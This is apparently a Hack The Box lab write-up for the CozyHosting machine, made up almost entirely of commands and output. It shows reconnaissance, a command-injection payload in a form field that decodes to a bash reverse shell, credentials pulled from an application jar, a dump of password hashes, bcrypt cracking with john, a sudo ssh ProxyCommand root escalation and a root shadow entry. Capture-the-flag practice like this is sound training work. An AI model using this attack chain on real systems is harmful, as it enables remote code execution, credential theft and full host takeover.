HTB-CozyHosting笔记

─# nmap -sC -sV -Pn 10.10.11.230Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 08:23 CSTNmap scan report for 10.10.11.230Host is up (0.32s latency).Not shown: 998 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)80/tcp open  http    nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://cozyhosting.htb|_http-server-header: nginx/1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 22.02 seconds                                                                                                                                                                                                              ┌──(root㉿uu)-[/home/uu/CozyHosting]└─# curl 10.10.11.230 -I | grep Location  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0   178    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Location: http://cozyhosting.htb

echo 10.10.11.230 cozyhosting.htb | tee -a /etc/hosts

# dirsearch -u http://cozyhosting.htb/
  _|. _ _  _  _  _ _|_    v0.4.2 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/cozyhosting.htb/-_23-09-06_08-27-44.txt
Error Log: /root/.dirsearch/logs/errors-23-09-06_08-27-44.log
Target: http://cozyhosting.htb/
[08:27:45] Starting: [08:28:10] 200 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js[08:28:17] 400 -  435B  - /..................etcpasswd           [08:28:19] 400 -  435B  - /a%5c.aspx                                        [08:28:21] 200 -  634B  - /actuator                                         [08:28:22] 200 -    5KB - /actuator/env                                     [08:28:22] 200 -   15B  - /actuator/health                                  [08:28:22] 200 -   10KB - /actuator/mappings                                [08:28:22] 200 -   48B  - /actuator/sessions                                [08:28:22] 200 -  124KB - /actuator/beans                                   [08:28:23] 401 -   97B  - /admin                                            [08:29:02] 200 -    0B  - /engine/classes/swfupload//swfupload.swf          [08:29:02] 200 -    0B  - /engine/classes/swfupload//swfupload_f9.swf[08:29:03] 500 -   73B  - /error                                            [08:29:04] 200 -    0B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ [08:29:04] 200 -    0B  - /extjs/resources//charts.swf                      [08:29:10] 200 -    0B  - /html/js/misc/swfupload//swfupload.swf            [08:29:13] 200 -   12KB - /index                                            [08:29:20] 200 -    4KB - /login                                            [08:29:20] 200 -    0B  - /login.wdm%2e                                     [08:29:21] 204 -    0B  - /logout                                           [08:29:44] 400 -  435B  - /servlet/%C0%AE%C0%AE%C0%AF                                                                                                    Task Completed

POST /executessh HTTP/1.1Host: cozyhosting.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 44Origin: http://cozyhosting.htbConnection: closeReferer: http://cozyhosting.htb/adminCookie: JSESSIONID=AD9D3CEFDCDDE5E313F6CD231C67EFC5Upgrade-Insecure-Requests: 1
host=10.10.14.5&username=zhiyinnitaimei

;echo${IFS}"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvNDQ0NCAwPiYx"|base64${IFS}-d|bash;

jar -xvf cloudhosting-0.0.1.jar

server.address=127.0.0.1server.servlet.session.timeout=5mmanagement.endpoints.web.exposure.include=health,beans,env,sessions,mappingsmanagement.endpoint.sessions.enabled = truespring.datasource.driver-class-name=org.postgresql.Driverspring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialectspring.jpa.hibernate.ddl-auto=nonespring.jpa.database=POSTGRESQLspring.datasource.platform=postgresspring.datasource.url=jdbc:postgresql://localhost:5432/cozyhostingspring.datasource.username=postgresspring.datasource.password=Vg&nvzAQ7XxR

psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost/postgres"

SELECT $ FROM users;ERROR:  syntax error at or near "$"LINE 1: SELECT $ FROM users;               ^SELECT * FROM users;   name    |                           password                           | role  -----------+--------------------------------------------------------------+------- kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin(2 rows)

# john --wordlist=/home/uu/rockyou.txt hash --format=bcryptUsing default input encoding: UTF-8Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])Cost 1 (iteration count) is 1024 for all loaded hashesWill run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusmanchesterunited (?)     1g 0:00:00:35 DONE (2023-09-06 11:22) 0.02779g/s 78.04p/s 78.04c/s 78.04C/s dougie..keyboardUse the "--show" option to display all of the cracked passwords reliablySession completed.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

root:$y$j9T$nK3A0N4wTEzopZkv8GQds0$NlR46AiiQOChoO1UNpiOYFIBHM7s956G8l8p/w15Sp2:19577:0:99999:7:::